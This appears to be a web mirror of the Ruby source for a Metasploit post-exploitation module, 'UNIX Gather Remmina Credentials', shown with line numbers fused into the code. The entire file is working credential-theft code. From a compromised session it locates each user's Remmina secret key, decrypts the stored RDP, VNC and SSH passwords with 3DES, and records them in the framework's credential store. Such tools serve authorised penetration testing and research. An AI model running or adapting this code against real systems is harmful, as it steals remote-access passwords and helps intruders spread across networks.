Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/remmina_creds.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather Remmina Credentials',14'Description' => %q{15Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.16These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)17stored in (relatively) plain text in a file that must be properly protected.18},19'License' => MSF_LICENSE,20'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],21'Platform' => %w[bsd linux osx unix],22'SessionTypes' => %w[shell meterpreter]23)24)25end2627def run28creds = extract_all_creds29creds.uniq!30if creds.empty?31vprint_status('No Reminna credentials collected')32else33vprint_good("Collected #{creds.size} sets of Remmina credentials")34cred_table = Rex::Text::Table.new(35'Header' => 'Remmina Credentials',36'Indent' => 1,37'Columns' => %w[Host Port Service User Password]38)3940creds.each do |cred|41cred_table << cred42report_credential(cred[3], cred[4])43end4445print_line(cred_table.to_s)46end47end4849def decrypt(secret, data)50c = OpenSSL::Cipher.new('des3')51c.decrypt52key_data = Base64.decode64(secret)53# the key is the first 24 bytes of the secret54c.key = key_data[0, 24]55# the IV is the last 8 bytes of the secret56c.iv = key_data[24, 8]57# passwords less than 16 characters are padded with nulls58c.padding = 059p = c.update(Base64.decode64(data))60p << c.final61# trim null-padded, < 16 character passwords62p.gsub(/\x00*$/, '')63end6465# Extracts all remmina creds found anywhere on the target66def extract_all_creds67creds = []68user_dirs = enum_user_directories69if user_dirs.empty?70print_error('No user directories found')71return creds72end7374vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")75# walk through each user directory76enum_user_directories.each do |user_dir|77remmina_dir = ::File.join(user_dir, '.remmina')78pref_file = ::File.join(remmina_dir, 'remmina.pref')79next unless file?(pref_file)8081remmina_prefs = get_settings(pref_file)82next if remmina_prefs.empty?8384if (secret = remmina_prefs['secret'])85vprint_status("Extracted secret #{secret} from #{pref_file}")86else87print_error("No Remmina secret key found in #{pref_file}")88next89end9091# look for any \d+\.remmina files which contain the creds92cred_files = dir(remmina_dir).map do |entry|93::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/94end95cred_files.compact!9697if cred_files.empty?98vprint_status("No Remmina credential files in #{remmina_dir}")99else100creds |= extract_creds(secret, cred_files)101end102end103104creds105end106107def extract_creds(secret, files)108creds = []109files.each do |file|110settings = get_settings(file)111next if settings.empty?112113# get protocol, host, user114proto = settings['protocol']115host = settings['server']116case proto117when 'RDP'118port = 3389119user = settings['username']120when 'VNC'121port = 5900122domain = settings['domain']123if domain.blank?124user = settings['username']125else126user = domain + '\\' + settings['username']127end128when 'SFTP', 'SSH'129# XXX: in my testing, the box to save SSH passwords was disabled130# so this may never work131user = settings['ssh_username']132port = 22133else134print_error("Unsupported protocol: #{proto}")135next136end137138# get the password139encrypted_password = settings['password']140password = nil141unless encrypted_password.blank?142password = decrypt(secret, encrypted_password)143end144145if host && user && password146creds << [ host, port, proto.downcase, user, password ]147else148missing = []149missing << 'host' unless host150missing << 'user' unless user151missing << 'password' unless password152vprint_error("No #{missing.join(',')} in #{file}")153end154end155156creds157end158159# Reads key=value pairs from the specified file, returning them as a Hash of key => value160def get_settings(file)161settings = {}162read_file(file).split("\n").each do |line|163if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line164settings[setting] = value165end166end167168vprint_error("No settings found in #{file}") if settings.empty?169settings170end171172def report_credential(user, pass)173credential_data = {174workspace_id: myworkspace_id,175origin_type: :session,176session_id: session_db_id,177post_reference_name: refname,178username: user,179private_data: pass,180private_type: :password181}182183create_credential(credential_data)184end185end186187188